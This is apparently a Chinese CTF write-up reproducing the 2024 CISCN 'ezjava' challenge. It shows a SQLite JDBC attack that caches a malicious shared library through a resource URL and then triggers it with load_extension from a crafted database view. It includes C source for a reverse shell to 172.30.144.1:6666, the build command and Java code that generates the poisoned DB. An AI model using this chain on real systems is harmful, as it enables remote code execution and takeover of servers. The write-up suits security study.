Java赛题复现

2024年 CISCN ezjava

考点：JDBC Sqlite攻击 + load extension

调试

加载数据库驱动

public String[] testDatasourceConnectionAble(JdbcBean jdbcBean) throws ClassNotFoundException, SQLException {
    DatasourceLoadConfig var10000 = this.datasourceLoadConfig;
    Map<String, String> config = DatasourceLoadConfig.getConfig();
    switch (jdbcBean.getType()) {
        case 1:
            // 动态加载 MySQL 数据库的 JDBC 驱动程序类
            Class.forName((String)config.get("JDBC-MYSQL"));
            MysqlDatasourceConnector mysqlDatasourceConnector = new MysqlDatasourceConnector(DriverManager.getConnection(jdbcBean.getUrl()));
            if (jdbcBean.getTableName() != null) {
                return mysqlDatasourceConnector.getTableContent(jdbcBean.getTableName());
            }

            return mysqlDatasourceConnector.getTables();
        case 2:
            Class.forName((String)config.get("JDBC-POSTGRES"));
            PostgresDatasourceConnector postgresDatasourceConnector = new PostgresDatasourceConnector(DriverManager.getConnection(jdbcBean.getUrl()));
            if (jdbcBean.getTableName() != null) {
                return postgresDatasourceConnector.getTableContent(jdbcBean.getTableName());
            }

            return postgresDatasourceConnector.getTables();
        case 3:
            SqliteDatasourceConnector sqliteDatasourceConnector = new SqliteDatasourceConnector(jdbcBean.getUrl());
            if (jdbcBean.getTableName() != null) {
                return sqliteDatasourceConnector.getTableContent(jdbcBean.getTableName());
            }

            return sqliteDatasourceConnector.getTables();
        case 4:
            Class.forName((String)config.get("JDBC-SQLITE"));
            return new String[]{""};
        default:
            return new String[]{""};
    }
}

MySQL：加载的是com.mysql.jdbc.Driver，虽然是8.0.13但是打不了

开了LoadExtension，可以利用load_extension加载恶意so文件

so怎么上传到靶机里？这里就要借用一下https://xz.aliyun.com/t/15884?time__1311=GqjxnDgQiQi%3D%3DGNDQ0PBK0Q%3Dlb957DR7WoD#toc-2的思路了。

我们注意到此处会缓存一份resourceAddr地址处的文件

所以缓存so

1	jdbc:sqlite::resource:http://ip:port/exp.so

so生成：

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>

void flag() {{
    system("bash -c 'bash -i >& /dev/tcp/172.30.144.1/6666 <&1'");
}}

void space() {{
    // this just exists so the resulting binary is > 500kB
         static char waste[500 * 1024] = {{2}};
}}

然后在linux下gcc生成so：gcc -shared -fPIC exp.c -o exp.so

db文件生成，嵌入一个预编译语句来加载so

package org.example.SqliteJDBCAttackDemo;

import java.io.File;
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.PreparedStatement;

public class GenDB {
    // 直接加载本地数据库文件
    public static void main(String[] args) {

        try {
            String dbFile = "poc.db";
            File file = new File(dbFile);
            Class.forName("org.sqlite.JDBC");
            Connection conn = DriverManager.getConnection("jdbc:sqlite:"+dbFile);
            System.out.println("Opened database successfully");


            String sql = "CREATE VIEW security as SELECT ( SELECT load_extension('/tmp/sqlite-jdbc-tmp-364689982.db','flag'));";  //向其中插入传入的三个参数
            PreparedStatement preStmt = conn.prepareStatement(sql);

            preStmt.executeUpdate();
            preStmt.close();
            conn.close();

        } catch (Exception e) {
            e.printStackTrace();
        }

    }
}